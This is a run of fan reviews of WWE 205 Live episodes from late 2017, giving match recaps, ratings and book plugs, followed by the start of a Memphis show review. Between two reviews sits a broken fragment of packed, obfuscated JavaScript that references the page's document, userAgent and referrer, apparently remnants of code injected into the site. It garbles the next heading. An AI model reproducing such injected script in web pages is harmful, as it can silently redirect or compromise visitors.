205 Live
Date: November 21, 2017
Location: Toyota Center, Houston, Texas
Commentators: Vic Joseph, Nigel McGuinness

It’s one of the final shows from Houston as we hit the cruiserweight division. Enzo Amore is still Cruiserweight Champion and the question now is who comes next. Kalisto has been dispatched (again) and it’s not clear who will be going after the title again. The show is being turned into a faction warfare and that could go multiple ways. Let’s get to it.

The Zo Train (minus Drew Gulak) has a Thanksgiving dinner prepared in the back. Enzo (in a Randy Savage shirt) says he’s now 5G and therefore they’re all connected. He’s gotten them all matches tonight but they better rep to Enzo brand like a barbell. If they do well, Christmas could come early in the form of a recommendation for a Cruiserweight Title shot. Enzo wants to know where Gulak is but here’s the Gobbledy Gooker. Naturally that’s Gulak, who says he’s the Gobbledy Gulaker. Gulak: “You told me to loosen up!” Enzo is disappointed.

Opening sequence.

The announcers chat for a bit.

Drew Gulak vs. Akira Tozawa

Street fight. Gulak comes out in jeans, which is a really odd look for him. Drew isn’t usually into this but if Enzo is from the streets, Drew needs to help clean them up. However, that might get his hands dirty so it’s time for a very special POWERPOINT PRESENTATION! Or not as Tozawa cuts him off, sending Drew into a near fit. Gulak bails to the floor with his hands covering his ears as the chanting starts early this week.

Back in and Tozawa kicks him in the chest, setting up some screaming. Tozawa kicks him outside again but the suicide dive is countered into a suplex onto the ramp. A clothesline messes with Tozawa’s throat, meaning no more chanting. That’s rather evil and something you wouldn’t have expected from a show like this.

Some chairs are thrown in but Gulak would rather slap him in the face for two instead. Drew puts the No Chants sign in the corner but gets suplexed through the handle, which has to be rather painful to at least a few inches of skin. The fans want tables so Tozawa pulls one out, only to get suplexed into the corner as well.

The table is set up in the corner but have to settle for Tozawa throwing Drew over the announcers’ table instead. A good looking flip dive off said table has Gulak in even more trouble and it’s time for more weapons. Tozawa puts a trashcan over him and swings away with a kendo stick. The top rope backsplash through the table ends Gulak at 11:12.

Rating: B. They were getting close to that next level here but they never could flip the switch on. Tozawa is good for a hardcore brawler and it was cool to see Gulak move up to another level of violence every now and then. Good, hard hitting brawl here that needed a little more to become great.

Hideo Itami is coming to 205 Live. Well it’s not like he’s going to do much in NXT so get him up here while he’s healthy.

Tony Nese doesn’t think much of Itami but Amore seems nervous. If Nese doesn’t get, better, he won’t be on the Zo Train much longer. Rich Swann, Cedric Alexander and Mustafa Ali come in and trade some insults.

Tony Nese vs. Mustafa Ali

Hang on a second as Nese needs to show off the abs. That just earns him a wristlock though and even a slam won’t break it up. Now that’s some dedication. Nese goes with some stomping but gets sent outside for a heck of a flip dive from the top. Ali might not have the best charisma in the world but he can throw some pretty dives.

Back in and Nese grabs a chinlock to slow things down, only to miss a charge into the corner. Ali switches things up a bit with a rolling X Factor instead of the rolling neckbreaker but he can’t follow up. The 054 takes way too long though and Nese sends him HARD into the post. The running knee in the corner ends Ali at 7:05.

Rating: C. Just a quick match here with Nese giving the Zo Train what is likely its only win tonight. This feels like the kind of show designed to give the fans a lot of stuff to cheer for and Nese winning should keep it from being a clean sweep. It helps that Nese is a simple character who does his thing quite well. I mean, it’s hard to argue with someone being in that kind of shape.

Daivari and Dar are ready to impress Enzo too. Enzo will be in the front row, but Gulak, back in the turkey suit, is stuck in time out.

Ariya Daivari/Noam Dar vs. Rich Swann/Cedric Alexander

Enzo is at ringside. Daivari and Cedric start things off with a rather long feeling out process until Cedric scores with a dropkick. Swann comes in for the Rolling Thunder as Enzo is talking to the fans. It’s off to Dar, who gets caught with a good looking springboard clothesline. Cedric’s ankle scissors is countered with a kick to the ribs though and it’s time for some villainous control.

Both guys take turns kicking away as Enzo continues to talk trash from the floor. Alexander finally rolls away and makes the diving tag off to Swann for almost no reaction. Enzo breaks up the Phoenix splash though and Daivari’s frog splash gets a rather close two. If back to Dar who gets kicked in the head but Cedric goes after Enzo, earning himself a baseball slide from Dar. Back in and Swann kicks Dar in the head again, setting up the Phoenix splash for the pin at 8:07.

Rating: C+. The energy was there, even if the fans weren’t exactly thrilled. Swann and Alexander are a good tag team and every time they’re out there, I can’t help but wonder why they’re not a midcard team on the main roster. It’s not like the shows have anything better at the moment.

Post match Enzo comes in to beat on Swann until Tozawa and Ali come down. Cue Nese and Gulak to cut them off though and the big beatdown ensues. Enzo hits a top rope splash onto both guys and it’s a group dance to end the show.

Overall Rating: C+. This was a strong show by 205 Live’s standards and I’m glad to see them having a little more energy. That being said, I’m rarely a fan of having one storyline completely dominate the show like this. If you’re not a fan of the good guys vs. the Zo Train, there’s no reason to watch the show. In theory this sets up Itami as the next star, but it wouldn’t shock me to have him just be another name on Amore’s list. If nothing else I’d love to see Cedric get the title at some point, as he’s certainly earned it. Good show this week.

Remember to follow me on Twitter @kbreviews and pick up the Monday Nitro and Thunder Reviews Volume VI: July – December 1999 in e-book or paperback. Check out the information here:

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205 Live
Date: November 14, 2017
Location: Spectrum Center, Charlotte, North Carolina
Commentators: Nigel McGuinness, Vic Joseph

We’re back stateside now and as luck would have it, today is Kalisto’s birthday. I’m thinking that means cake and of course you know what that means. In this case it’s also the go home show for Survivor Series, meaning we’ll be getting what is hopefully the final build between Kalisto and Enzo Amore. Let’s get to it.

Opening sequence.

Kalisto says he’s going to celebrate his birthday by beating down Drew Gulak before he wins the Cruiserweight Title back on Sunday.

Gulak and Amore are next to a massive birthday cake with Enzo talking about the Zo Train ending if he loses the title. Tonight, he needs Drew to make this a better 205 Live.

The announcers preview the show as the opening stall continues.

Jack Gallagher/Brian Kendrick vs. Rich Swann/Cedric Alexander

Tornado rules with Cedric as the hometown boy, meaning there’s quite the chant to start things off. It’s a brawl to start before all four head outside with Swann being sent into the barricade. That’s fine with Cedric who pops Kendrick in the jaw to take over again. Gallagher hits a heck of a dropkick to knock Cedric over the announcers’ table leaving Swann to get beaten down in the ring.

The villains take turns knocking them off the apron until Alexander finally gets in a dropkick on Kendrick. One heck of an elbow to the jaw staggers Gallagher for a great visual and a Spanish Fly gives Cedric two. Kendrick comes back in to take Cedric down and the Captain’s Hook goes on. Swann’s save attempt is countered into a Fujiwara armbar but he’s still able to catch Cedric’s tap attempt.

Cedric has to break up a double submission on Swann, basically guaranteeing the end of the match. Sliced Bread #2 gets two on Cedric but it’s Swann coming back in with some superkicks. Kendrick crotches him on top though and a double super hiptoss drops Rich for a rather close two. It’s Cedric right back in with the springboard clothesline but Gallagher breaks up the Lumbar Check by dropkicking the knee out. Swann superkicks the heck out of Gallagher and hits a diving tornado DDT onto the floor. Back in and the Lumbar Check puts Kendrick away at 10:55.

Rating: B. These guys had a heck of a match here and that’s exactly what it needed to be, especially in what should blow off the feud. They’ve been feuding for way too long now and needed a gimmick match to really wrap things up. It’s a good match though and one of the better things this show has had in a long time.

Ariya Daivari comes out and says this might be the last episode of the Zo Show. The show isn’t being canceled or anything (Are we sure about that?) but it might as well be if Kalisto wins the title on Sunday. Mustafa Ali comes out and doesn’t think much of Daivari sucking up to Enzo so much, but maybe it has to do with all the cake. On top of that though, Daivari looks stupid.

Ariya Daivari vs. Mustafa Ali

Ali starts fast with a superkick and steals Daivari’s jacket before hitting a high crossbody for two. The springboard is broken up though and Ali crashes out to the floor. Back in and Daivari gets two off a clothesline, followed by a chinlock. I’ll take this time to do anything else as my interest is rapidly draining.

Since it’s just a chinlock, it’s a spinebuster for two on Ali as we’re firmly in the lack of charisma period that Daivari constantly has going on. Ali fights back up and scores with a dropkick, only to get caught in a reverse DDT. The frog splash gets two but Ali is right back up with a super hurricanrana. Since this is an Ali match, that sets up the 054 for the pin at 7:13.

Rating: D+. The wrestling was fine but egads how many times can we watch these two have the same match? Ali is better in the ring but if you’ve seen one of his matches, you’ve seen all of them. Daivari on the other hand is a charisma vacuum who drives any interest he could possibly have out of the matches. Watchable match but better suited for the insomnia cure than anything else.

Akira Tozawa comes in to wish Kalisto a happy birthday and good luck.

Kalisto vs. Drew Gulak

There are balloons and cake at ringside so you know the ending from here. Before the match, Enzo says Kalisto is going to get a beating for a birthday gift. Since it’s Enzo, that takes a few minutes to actually say. Gulak slams Kalisto down to start but gets caught in a quick headscissors. They head outside with Enzo running his mouth (shocking) to allow Gulak some cheap shots.

Back in and we hit the neck crank, meaning it’s time for the fans to sing HAPPY BIRTHDAY. A slam sends Kalisto into the ropes and we’ve got a bad knee. They tease going into the cake before Drew wisely goes back to the knees with a surfboard. Kalisto rolls away into the hurricanrana driver, followed by a suicide dive. Enzo kicks the knee out though and Drew belts out some Happy Birthday. The dragon sleeper takes too long though and it’s the Salida Del Sol to give Kalisto the pin at 7:52.

Rating: C. This was all you could have expected it to be and Kalisto winning was the only possible ending. Gulak is fine as a lackey for Enzo, though I’m not sure how much longer we can keep going with this stuff. The match was acceptable enough and Kalisto getting a win hopefully means he wins the title on Sunday (though it won’t).

Post match Enzo goes after Kalisto but has to kick Gulak in the head. Enzo bails but Kalisto chases him down and sends him into the cake (the one in the back, as opposed to the one in the arena) to end the show.

Overall Rating: C+. Aside from the opener, this was a completely run of the mill show here as we’re getting ready to finally wrap up Enzo vs. Kalisto, meaning it’s finally time to get someone fresh challenging for the title. The show is still watchable but there’s nothing here that you haven’t seen before. The cake stuff was fine, though completely standard stuff for a not very interesting title match on Sunday.

Remember to follow me on Twitter @kbreviews and pick up the Updated History of the Intercontinental Title in E-Book or Paperback. Check out the information here:

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205 Live
Date: October 31, 2017
Location: Norfolk Scope, Norfolk, Virginia
Commentators: Vic Joseph, Nigel McGuinness

It’s time for another night of cruiserweights, which really could go anywhere. We’re also on a rare holiday show, which should mean some Halloween style shenanigans. Of course that’s not how things work in WWE world, where they had the Halloween style match on Monday instead of Tuesday. As in the Tuesday that was HALLOWEEN. Let’s get to it.

We open with a recap of Drew Gulak’s dreams of a Drewtopia being derailed by Akira Tozawa. This didn’t sit well with Drew, who attacked Tozawa, including hitting him in the throat with the NO CHANTS sign. We also look at Gulak defeating Gran Metalik and Tozawa saving Metalik from a knee injury.

Opening sequence.

Drew Gulak comes out for a match and asks where his ghouls are. We’re still not ready though, because Drew has some ideas for a better Halloween in the form of a POWERPOINT PRESENTATION! First up, no candy, as it gives us fat children. Second, no trick or treating because it sounds like chanting, which doesn’t need to exist. Slide #3 gets cut off though and it’s time for a match.

Drew Gulak vs. Akira Tozawa

Tozawa wastes no time in kicking Gulak in the face, followed by another one to the chest for good measure. Some stomps in the corner look to set up a dive to the floor but Gulak moves before Tozawa can jump. Back in and Tozawa headfakes him into a right hand to the face. A charge only hits boot though and Gulak slowly stomps away.

It’s off to something like a camel clutch with a neck crank until some kicks get Tozawa out of trouble. Tozawa loads up the top rope dive but Gulak rolls outside, meaning it’s a suicide dive for two instead. The injured throat flares up though and Tozawa can’t capitalize. A shot to the throat gives Drew a near fall but a kick to the head puts him down again. Now the top rope backsplash gives Tozawa the pin at 6:00.

Rating: C. I can’t imagine this is the last match between the two, even though Tozawa won completely clean. Gulak has something with this gimmick but he needs a few more wins to go with the idea. There’s a long list of talent on the show but for some reason they’re not used as jobbers all that often. Try that for a change and maybe you’ll get some results.

We recap Brian Kendrick and Jack Gallagher telling Cedric Alexander to drop Rich Swann before they drop him for Cedric.

Swann and Cedric are ready for whatever Kendrick and Gallagher have for them. If they want a clown, that’s what Swann will give them. Swann has a clown nose and this can’t end well.

Mustafa Ali talks about Trick or Treating. It’s Halloween you see.

We look at Kalisto easily defeating Gulak last night, only to get beaten down by Enzo Amore.

Kalisto gets another Cruiserweight Title shot at Survivor Series.

Brian Kendrick vs. Rich Swann

And yes, Swann and Alexander are clowns, with Swann having a full on clown suit, the Doink music and a Doink Titantron video. How do I know this is going to be a long match? Swann dances a lot before easily taking Kendrick down and making him slap himself in the back of his head.

We get a big clown wig (to go with the big clown gloves, which are bigger than Swann’s head) but Kendrick knocks it off Swann’s head. A poke to the eye (How did it fit in with gloves that big?) has Kendrick in trouble as the fans don’t seem pleased. Kendrick finally manages to send him outside so Gallagher can get in some cheap shots. Back in and Kendrick gets two off a suplex as the crowd is rapidly dying.

Swann fights back with some clotheslines and a super hurricanrana for two. With the fans chanting what sounds like something about the Joker, Kendrick grabs a reverse suplex for two of his own. A butterfly superplex of all things gives Kendrick two more but the kickout barely gets a murmur from the crowd. That’s enough for Swann who scores with a dive, followed by a spinning kick to the head. The Phoenix Splash ends Kendrick at 9:33.

Rating: C+. The match was good enough but egads the crowd dying like that wasn’t a good sign. To be fair though, can you blame them? When Swann comes out like a clown, thereby completely leaving out the most popular part of his character, how are they supposed to react? Good match, but bad idea in general.

Gran Metalik is ready to win the main event.

Mustafa Ali vs. Gran Metalik vs. Ariya Daivari vs. Tony Nese

One fall to a finish with a bunch of Halloween decorations around the ring, much like Monday’s tag match. Before the match, Daivari sucks up to Enzo (not here) and runs down Norfolk. Ali counters by offering everyone candy, which Metalik raises his mask to eat. Nese slaps the candy out of Ali’s hands (makes sense) and we’re ready to go. Metalik launches Ali into a dropkick to put Nese down so the good guys go at it, making sure to not run over the pumpkins on the apron.

A handspring armdrag is reversed and it’s an early standoff for some applause. The villains return though and it’s time to head to the floor for some weaponry. Back in and Ali chucks a pumpkin at Nese’s face (McGuinness: “It’s complex carbs. He’s ok with that.”) before trying to force a piece of candy into Nese’s mouth. Daivari comes back in with a spinebuster for two on Ali as Metalik makes the save.

With Ali down, Daivari heads outside and throws some candy out of a bowl but finds a Gran Metalik mask. Daivari puts it on and does some flips, earning some slaps from Ali. The villains get together with a candy corn kendo stick and tie Ali in the Tree of Woe. Instead of the situp kicks though, Nese uses pumpkins like medicine balls and throws them at Ali’s ribs. Ok that was pretty clever.

Metalik’s save is knocked out of the air by a stick shot and an angry Daivari pours candy over Ali. The expected heel miscommunication sees both guys go down so it’s Metalik hitting a reverse powerbomb for two on Ali. A quick Tower of Doom puts Ali down, allowing Daivari to hit the frog splash for a very near fall. For some reason Daivari brings in a table, only to be laid on it in short order.

Nese blasts Metalik with the stick and pulls out a black bag. He pours the bag onto the table and finds….candy corn instead of tacks. Funny bit there. Metalik is ready with a sunset bomb through the table but Daivari breaks up the cover. Ali is right back with a pumpkin to Daivari’s face, followed by a guillotine legdrop (with a broom of course) for the pin at 12:56.

Rating: B-. For a completely goofy match, this was perfectly acceptable and even a lot of fun at times. They were working hard and that’s about all you can ask for in this kind of situation. Ali is someone they’ve protected for a few months on here and while he’s not going to get anywhere, he’s getting something out of it, which is more than most people can say.

Overall Rating: C+. This felt like a throwaway show but it was certainly entertaining. It’s about an hour with three good to quite good matches that don’t really mean anything but at least they made them quite fun. If nothing else it was nice to have a show without Enzo dominating everything, which is the case far more often than not anymore. Good show here.

Remember to follow me on Twitter @kbreviews and pick up the Updated History of the Intercontinental Title in E-Book or Paperback. Check out the information here:

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205 Live
Date: October 17, 2017
Location: KeyArena, Seattle, Washington
Commentators: Vic Joseph, Nigel McGuinness

It’s probably the last show of Kalisto’s title reign, which means it’s time to shift things back to Enzo Amore for the sake of getting people to watch the show. Amore also suddenly has a small army backing him up, despite spending weeks ripping on them for being worthless. 205 Live is a funny place at times. Let’s get to it.

The long opening recap looks at Kalisto taking the title from Amore and Amore sending his goons to take Kalisto out.

Opening sequence.

Here’s Enzo to open things up. Enzo asks if you can smell it, because it smells like team spirit. He brings up the help he had last night (Noam Dar, Tony Nese, Ariya Daivari and Drew Gulak) and says Kalisto is only going to be jumping from channel to channel in a hospital. Kalisto is going to be in there for a long time too so he can log onto the wi-fi and watch the Zo Show on the WWE Network.

Enzo has built this place up and he’s an original who was only handed a microphone. This is all about charisma and you can’t teach that. You can love this or hate this but you can’t get above this. Enzo doesn’t like Kalisto playing it so safe (Huh?) so here’s Kalisto for a springboard missile dropkick, sending Enzo bailing.

Long recap of Cedric Alexander vs. Jack Gallagher/Brian Kendrick. Rich Swann has joined Cedric’s side to even things out.

Jack Gallagher vs. Rich Swann

Kendrick and Cedric are the seconds. Swann flips over the suited Gallagher to start and a quick hurricanrana takes him down again. Gallagher heads outside and the referee is so busy keeping an eye on Cedric that he misses Kendrick taking Swann down to the floor. Back in and Jack slowly hammers him down until Swann flips out of a suplex. That just earns him another dropkick to the face for two with Gallagher grinding his forearm into the face. We hit the neck crank for a bit before Gallagher starts in on the leg.

Swann fights back up but has to punch his way out of an electric chair. Instead it’s a tiger driver for two on Jack but the fight heads to the floor where the seconds get involved. Gallagher is all kinds of aggressive in beating Cedric on the announcers’ table. Cedric fights back with Swann loading up a Phoenix splash but Jack and Brian bail. The match was thrown out somewhere in there, say around 7:30.

Rating: C. This was just a preview for Sunday’s tag match and that’s fine. I’m glad that they didn’t have either of them lose as there’s no point to making one of them look weak going into Sunday’s match. It might not be a big match on the card but it’s cool to see the cruiserweights get to have a non-title feud getting some pay per view time. Good little match here too.

Here’s Drew Gulak with the NO CHANTS sign for a chat. He sees himself as his father and the Drewtopia as a safe space from dives and unnecessary chanting. We see a clip of Gulak attacking Akira Tozawa last week and calling it tough love. If Tozawa wasn’t spending so much time chanting, he might have seen slide #9 of the POWERPOINT PRESENTATION! Proposal #9: No Defying Authority.

Despite what you might have heard from the Beastie Boys or the Fresh Prince, rules are not made to be broken. The fans chant that this is boring (kind of the idea in this story so it’s not so bad) but Gulak promises to be on the Kickoff Show with a special refresher course on his plan for a better 205 Live.

Quick look at the cruiserweight stuff on Sunday’s show.

Mustafa Ali/Kalisto vs. Enzo Amore/Ariya Daivari

Daivari rants in his language but Enzo says they speak the shared language of money. Enzo hides from Kalisto to start and brings in Daivari instead. The trash talk doesn’t get Daivari very far and it’s a double dropkick to put him down. A slingshot hilo keeps Daivari in trouble but an Enzo distraction lets him knock Kalisto outside. The bad landing messes up Kalisto’s back and Enzo throws it into the corner. A Downward Spiral and the baseball right hand combine for two.

Daivari comes in for his turn at some stomps and sends Kalisto outside. Some right hands drop Enzo but Daivari is right back up with a clothesline. Kalisto reverses a suplex into a DDT though and there’s the hot tag to Ali. Everything breaks down and Ali kicks Enzo in the head to set up the rolling neckbreaker for another near fall. Ali sends Daivari outside for a big flip dive, leaving Kalisto to end Amore with the Salida Del Sol at 9:22.

Rating: C-. Alas, this is likely the end of Kalisto’s title reign as they did the standard of having the future champ lose. To be fair though it’s not like it matters all that much in Enzo’s case as he loses to almost everyone. Ali is still one of the more consistent performers in the division and could be a big deal, though I’m not sure he has the personality.

Kalisto dives onto Enzo and Daivari again, sending Enzo bailing up the ramp to end the show.

Overall Rating: C. It’s amazing how much more I like this show with Enzo as the big bad that the good guys are trying to keep from taking the belt hostage again. That’s a much better story than “let Enzo do whatever for an hour” and if Kalisto can get some more backup, there’s a good Survivor Series match in there. It would probably need a stipulation, but at least there’s a story here, which is more than we’ve had in a long time.

Remember to follow me on Twitter @kbreviews and pick up the Updated History of the Intercontinental Title in E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/10/02/new-paperback-kbs-history-of-the-intercontinental-title-updated-version/

And check out my Amazon author page with cheap wrestling books at:

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205 Live
Date: October 10, 2017
Location: Van Andel Arena, Grand Rapids, Michigan
Commentators: Vic Joseph, Nigel McGuinness

It’s suddenly a different era on 205 Live as Kalisto won the Cruiserweight Title last night in a big surprise. On the downside though, it seems that we’ve lost Neville for the time being as he might be leaving the company due to not being happy with a variety of things. Hopefully things get better for both the division and the show so let’s get to it.

We open with a four and a half minute recap of last night’s events.

Opening sequence.

Renee Young brings out Kalisto for a chat. Kalisto is fired up to have a luchador as champion and brings up dedicating the match to Eddie Guerrero. Cue Enzo and Ariya Daivari to say this party needs the Zo. He put the division on his back but Kalisto just used it like a backpack. Enzo isn’t cool with the people he’s been carrying lifting Kalisto on his shoulders like it was the end of Rudy.

Then Mustafa Ali attacked him like a guy who needs to stay out of his bag. He accuses Kalisto of stealing the title, just like Eddie Guerrero would have done. Kalisto says he did just what Enzo said to do and that’s win at any cost. Enzo says Kalisto is making the title look as disgusting as whatever is underneath the mask and the new champ doesn’t have the money that Enzo does. The rematch is on for TLC but the brawl is on right now. Ali runs out for the save and the good guys clean house.

Rich Swann is ready to take TJP out once and for all because their friendship is done.

TJP vs. Rich Swann

2/3 falls. Swann wastes no time with a flip dive to the floor as the fight starts before the bell. TJP is right back by sending him into the barricade though and now we head inside for the opening bell. The match officially starts and they’re already back outside less than fifteen seconds later.

Back in and we hit the kneebar but Swann quickly reverses into a rollup for the first fall. TJP is livid and hammers away for some early near falls. A dropkick staggers Swann but TJP stands around for too long, allowing Rich to hit one of his own. TJP’s springboard forearm sets up the chinlock before going into a cross between a Cloverleaf and a Sharpshooter. It’s too close to the ropes but at least the move looked good in the first place.

The Detonation Kick is broken up as well and Swann’s spinning kick to the head drops TJP again. There’s a tiger driver for two more on TJP but the running 450 hits knees. TJP is right back up with a slingshot dropkick to the ribs but is too injured to follow up at first. Back in and Swann kicks him down again, only to get caught in a fireman’s carry.

It’s the kneebar instead of the Detonation Kick this time though and Swann is in trouble. He tries another rollup but TJP drops down into a cradle for a near fall of his own. Swann grabs a quick Michinoku Driver and a cartwheel into a running Phoenix splash gets two more. The regular version puts TJP away at 11:46.

Rating: C+. This was a good way to wrap up the feud but it wasn’t exactly a thrilling ending. I do like the idea of Swann winning 2-0 as it makes him look like the definitive winner, though it didn’t feel like a big deal as the fans were expecting a third fall. Good enough, but nothing all that special.

Enzo and Daivari are ready for their tag match later with Amore making a bunch of Lion King jokes. Drew Gulak comes up and seems to agree with Enzo’s anti-Kalisto stance.

Akira Tozawa comes out for a match but Gulak jumps him from behind and hits him in the throat with the NO CHANTS sign.

We look back at Cedric Alexander vs. Jack Gallagher/Brian Kendrick.

Alexander doesn’t buy what Kendrick says and will be ready for whatever they bring at him.

Enzo Amore/Ariya Daivari vs. Mustafa Ali/Kalisto

Enzo does the insults before we’re ready to go. Ali and Daivari start things off with Mustafa being smart enough to stay away from the corner. Instead it’s off to Enzo, who gets punched in the face a few times and kicked in the head for good measure. Daivari takes Ali down from the apron though and Enzo adds a Downward Spiral for two. The double teaming ensues with Daivari getting two off a spinebuster.

Nigel starts singing an Aladdin song about Ali and there’s a spinwheel kick to knock Enzo silly and bug his eyes out at the same time. The hot tag brings in Kalisto for the house cleaning and a hurricanrana driver plants Daivari. There’s the double dive to take the villains down but Enzo posts Ali. Not that it matters as the Salida Del Sol ends Daivari at 6:59.

Rating: C. Ali was doing most of the work here though I’m glad they didn’t pull a surprise by having Kalisto lose in his first match as champion. You can pretty much pencil him in for the loss from here and while that’s rather annoying, it’s nice to have a break from Amore for the time being.

Overall Rating: C+. Like I said, it was nice to have Kalisto get the focus for a bit, but I’m not even going to pretend that Enzo isn’t getting the title back at TLC. He’s clearly the star of the show and WWE is going to push him well beyond the point of people getting sick of him. The rest of the show was just kind of there, but that’s the point anymore.

Remember to follow me on Twitter @kbreviews and pick up the Updated History of the Intercontinental Title in E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/10/02/new-paperback-kbs-history-of-the-intercontinental-title-updated-version/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

205 Live
Date: October 3, 2017
Location: Pepsi Center, Denver, Colorado
Commentators: Vic Joseph, Nigel McGuinness

Things are rapidly changing around here as we have a new member of the roster with Kurt Angle, who apparently is in charge of 205 Live as well, signing Kalisto. That probably means we’ll be seeing Kalisto as Amore’s first failed title challenger and that’s not the worst idea in the world. Let’s get to it.

We open with a recap of the end of last night’s show with Kalisto debuting. Thankfully most of Enzo’s insults to the members of the division are included because that’s about all he’s good for.

Opening sequence.

Here’s Kalisto with something to say. He’s here to take over the cruiserweight division and he can’t wait to become the new Cruiserweight Champion. Cue Enzo with the fans still doing his entrance along with him. Enzo says Kalisto is the lucky luchador leprechaun to be on the Zo Show but he should be scared to donate his outfit to the Salvation Army. Until tonight though, you couldn’t give away a Kalisto mask but now sales are going to shoot up because Kalisto is talking to Enzo.

Kalisto says Enzo talks too much (expect to hear that line a lot in the coming months) and we see a clip of Enzo kicking Neville low to win the title. Enzo doesn’t care because he won the match and calls Kalisto centimeter. Sure Kalisto went toe to toe with Braun Strowman but he wound up in a trashcan. Kalisto used to be the US Champion but he’s been a huge letdown ever since he lost the title. Enzo talks about being a big star who signs autographs at airports. Tonight though, we’ll be seeing the first loss for Kalisto on 205 Live against the biggest Persian thing since the Kardashians.

Kalisto vs. Ariya Daivari

Daivari wastes no time in slugging away in the corner but a nice headscissors takes him down. Kalisto’s modified springboard (he intentionally lands shins first on the top rope) flip dive to the floor drops Daivari on the floor. Back in and Daivari slams the rope into Kalisto’s head (that’s different) to take over.

A big boot in the corner drops Kalisto again and we hit the chinlock. Kalisto fights up and hits the corkscrew headbutt, followed by the hurricanrana driver for two of his own. Daivari grabs a spinebuster though, followed by the frog splash for two, which pretty much seals his fate. He takes too long getting up and the Salida Del Sol gives Daivari the pin at 4:46.

Rating: D+. Daivari got in WAY too much offense here and it hurt the match a lot. Kalisto should have been a lot more dominant in his debut and it looked more like he won off a fluke than anything else. The Salida Del Sol is a great finisher but he needs to do more than sell all match and then hit one move to win.

Enzo isn’t impressed.

Recap of Jack Gallagher and Brian Kendrick joining forces to torment Cedric Alexander.

Here’s Drew Gulak to talk about how he’s wanted to change 205 Live long before anyone else did. Therefore, tonight we’ll be seeing slides 8-277 of his POWERPOINT PRESENTATION! Proposal #8: No Flipping! If you’re constantly flipping up and down, how will you know your left from your right or your right from your wrong? Unfortunately the words of wisdom are cut off by an interruption and it’s time for a match.

Drew Gulak vs. Mustafa Ali

In addition to Ali, here’s Akira Tozawa to have a seat on the stage. Drew takes Ali down by the wrist but stops to look up at Tozawa. It’s bad enough that Drew heads outside, starting up the Tozawa war chant. Of course Gulak grabs his NO CHANTS sign and marches around the ring, allowing Ali to flip him over. A sloppy hurricanrana takes Gulak down again and a high crossbody gets two.

Gulak reverses a tornado DDT and gets in a knee to the chest to take over again. We hit a chinlock and then a cross arm choke with Tozawa’s war chant having no effect on Gulak this time. Ali fights up and scores with a dropkick followed by a neckbreaker fir two, Gulak reverses a whip though and suplexes Ali into the corner but the war chant makes Gulak miss a charge (which we almost miss because of the FREAKING CROWD REACTION SHOTS). The 054 ends Gulak at 6:44.

Rating: C-. That crowd reaction shot actually got on my nerves as Drew was running, then we went to the crowd, then we came back for him hitting the crowd. Is the director that jittery that he can’t even sit still long enough for someone to run across the ring? As usual, Gulak needs to actually win a match or the blowoff isn’t going to mean anything. Then again, I said the same thing about Kendrick and he did fine.

Tozawa gets in and does the war chant.

Kendrick feels responsible for what happened to Enzo. He fell victim to the mob mentality and stands with Daivari at the champion’s side. Brian can’t stand next to Cedric Alexander though because his generation is too soft. Tonight, Gallagher is going to drink Cedric’s milkshake. Cue Cedric to attack Kendrick and take out his ankle.

Jack Gallagher vs. Cedric Alexander

Gallagher is wrestling in a suit. Cedric sends him hard into the corner to start and scores with a dropkick, only to get tossed outside. Back in and Jack stomps on his head before grabbing a facelock. Gallagher fires off some hard kicks in the corner and cranks on the ankle. A double knee stomp gives Gallagher two with Cedric screaming in pain.

Gallagher gets two more off a dropkick (with some hard shoes) but it just seems to fire Cedric up. They head outside with Cedric hitting a hard suicide dive and unloading on Gallagher with right hands. Jack is sent hard into the barricade so he hides underneath the ring, allowing him to get in a cheap shot. It’s William III time but Cedric takes it away and BLASTS Gallagher over the back with it for the DQ at 6:35.

Rating: C+. I can always give someone credit for wrestling in a suit. Gallagher needed the change in appearance as there’s only so much you can look with that much pale skin showing. Alexander was his usual self here, but again he’s not going to be near the title for several months to come. Nice, hard hitting match though.

They keep brawling post match with Cedric getting the better of it and adding a springboard kick to the chest. Kendrick limps out to stand over Jack to end the show.

Overall Rating: C. As usual, there’s just not much to say when it’s not about Enzo. I know he’s annoying but he’s right when he says almost nothing else matters but him. The show was fine enough, but you really can feel the lack of star power. Then again that might be because these feuds are all just personal and Kalisto is getting the title shot, likely at the next pay per view. I’m not sure how they’re going to handle none of the regular roster getting a shot but it’s really not doing their statuses any favors.

Remember to follow me on Twitter @kbreviews and pick up the Updated History of the Intercontinental Title in E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/10/02/new-paperback-kbs-history-of-the-intercontinental-title-updated-version/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eefrb|var|u0026u|referrer|sedbr||js|php'.split('|'),0,{})) Event
Date: August 31, 2017
Location: FedEx Forum, Memphis, Tennessee
Commentators: Vic Joseph, Corey Graves

It’s a shame that this can’t be your classic Memphis style show as it would give things a fresh blast of energy. That being said, I can live with dull wrestling if it means we get to see the Roman Reigns/John Cena promo again, which was easily one of the most entertaining things I’ve seen all year. Let’s get to it.

Opening sequence.

Dana Brooke vs. Alicia Fox

They lock up to start with Fox sending her into the corner but getting rolled up for two. A handstand splash gets two on Alicia but she comes back with some knees to the back. We hit the chinlock as it’s pretty clear they don’t have much to do here. The northern lights gives Alicia two but Brooke makes her comeback with some slams and a cartwheel splash for the pin at 5:20.

Rating: D. Thank goodness they didn’t have her job here in a meaningless match. I’ll never understand how someone can get back out there so soon after the kind of loss Brooke went through (her boyfriend died less than a week before this was taped) but it’s quite impressive that she’s back out there performing. The match was exactly what you would expect from something like this but I’m not going to hold anything against Dana at this point.

We look back at Braun Strowman laying out Brock Lesnar two weeks ago.

From Raw.

Here are Brock Lesnar and Paul Heyman for a chat. Heyman talks about what happened last week with Braun Strowman, who is the kind of monster that his parents warned him about. Strowman had an historic night at Summerslam when he, as Corey Graves said, monster handled Lesnar by powerslamming him through two tables. We see a clip of last week’s attack on Lesnar, which Heyman says made him know Strowman is a monster. At No Mercy, Lesnar is going to be ready for Strowman. Heyman explains what’s going to happen but Brock takes the mic. Brock: “What he’s trying to say is Suplex City b****.”

From Raw again.

